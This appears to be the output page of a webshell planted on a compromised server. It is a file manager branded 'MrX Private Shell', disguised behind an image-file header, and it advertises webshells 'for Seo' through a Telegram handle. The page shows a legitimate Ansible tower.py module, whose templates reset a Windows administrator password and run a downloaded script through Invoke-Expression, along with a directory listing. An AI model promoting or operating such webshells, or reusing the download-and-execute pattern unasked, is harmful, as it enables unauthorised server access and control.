����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Copyright: Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
import string
import textwrap
from ansible.module_utils._text import to_native
from ansible.module_utils.six.moves.urllib import parse as urlparse
def _windows_callback_script(passwd=None):
script_url = 'https://raw.githubusercontent.com/ansible/ansible/devel/examples/scripts/ConfigureRemotingForAnsible.ps1'
if passwd is not None:
passwd = passwd.replace("'", "''")
script_tpl = """\
<powershell>
$admin = [adsi]('WinNT://./administrator, user')
$admin.PSBase.Invoke('SetPassword', '${PASS}')
Invoke-Expression ((New-Object System.Net.Webclient).DownloadString('${SCRIPT}'))
</powershell>
"""
else:
script_tpl = """\
<powershell>
$admin = [adsi]('WinNT://./administrator, user')
Invoke-Expression ((New-Object System.Net.Webclient).DownloadString('${SCRIPT}'))
</powershell>
"""
tpl = string.Template(textwrap.dedent(script_tpl))
return tpl.safe_substitute(PASS=passwd, SCRIPT=script_url)
def _linux_callback_script(tower_address, template_id, host_config_key):
template_id = urlparse.quote(template_id)
tower_address = urlparse.quote(tower_address)
host_config_key = host_config_key.replace("'", "'\"'\"'")
script_tpl = """\
#!/bin/bash
set -x
retry_attempts=10
attempt=0
while [[ $attempt -lt $retry_attempts ]]
do
status_code=$(curl --max-time 10 -v -k -s -i \
--data 'host_config_key=${host_config_key}' \
'https://${tower_address}/api/v2/job_templates/${template_id}/callback/' \
| head -n 1 \
| awk '{print $2}')
if [[ $status_code == 404 ]]
then
status_code=$(curl --max-time 10 -v -k -s -i \
--data 'host_config_key=${host_config_key}' \
'https://${tower_address}/api/v1/job_templates/${template_id}/callback/' \
| head -n 1 \
| awk '{print $2}')
# fall back to using V1 API for Tower 3.1 and below, since v2 API will always 404
fi
if [[ $status_code == 201 ]]
then
exit 0
fi
attempt=$(( attempt + 1 ))
echo "$${status_code} received... retrying in 1 minute. (Attempt $${attempt})"
sleep 60
done
exit 1
"""
tpl = string.Template(textwrap.dedent(script_tpl))
return tpl.safe_substitute(tower_address=tower_address,
template_id=template_id,
host_config_key=host_config_key)
def tower_callback_script(tower_address, job_template_id, host_config_key, windows, passwd):
if windows:
return to_native(_windows_callback_script(passwd=passwd))
return _linux_callback_script(tower_address, job_template_id, host_config_key)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| _version.py | File | 12.4 KB | 0644 |
|
| acm.py | File | 10.91 KB | 0644 |
|
| arn.py | File | 2.24 KB | 0644 |
|
| batch.py | File | 2.48 KB | 0644 |
|
| botocore.py | File | 15.08 KB | 0644 |
|
| cloud.py | File | 9.29 KB | 0644 |
|
| cloudfront_facts.py | File | 10.98 KB | 0644 |
|
| core.py | File | 3.3 KB | 0644 |
|
| direct_connect.py | File | 4.14 KB | 0644 |
|
| ec2.py | File | 13.31 KB | 0644 |
|
| elb_utils.py | File | 3.31 KB | 0644 |
|
| elbv2.py | File | 43.18 KB | 0644 |
|
| iam.py | File | 2.86 KB | 0644 |
|
| modules.py | File | 16.9 KB | 0644 |
|
| policy.py | File | 7.55 KB | 0644 |
|
| rds.py | File | 17.57 KB | 0644 |
|
| retries.py | File | 3.28 KB | 0644 |
|
| route53.py | File | 2.4 KB | 0644 |
|
| s3.py | File | 3.4 KB | 0644 |
|
| tagging.py | File | 7.17 KB | 0644 |
|
| tower.py | File | 2.9 KB | 0644 |
|
| transformation.py | File | 5.37 KB | 0644 |
|
| urls.py | File | 7.06 KB | 0644 |
|
| version.py | File | 616 B | 0644 |
|
| waf.py | File | 7.96 KB | 0644 |
|
| waiters.py | File | 41.39 KB | 0644 |
|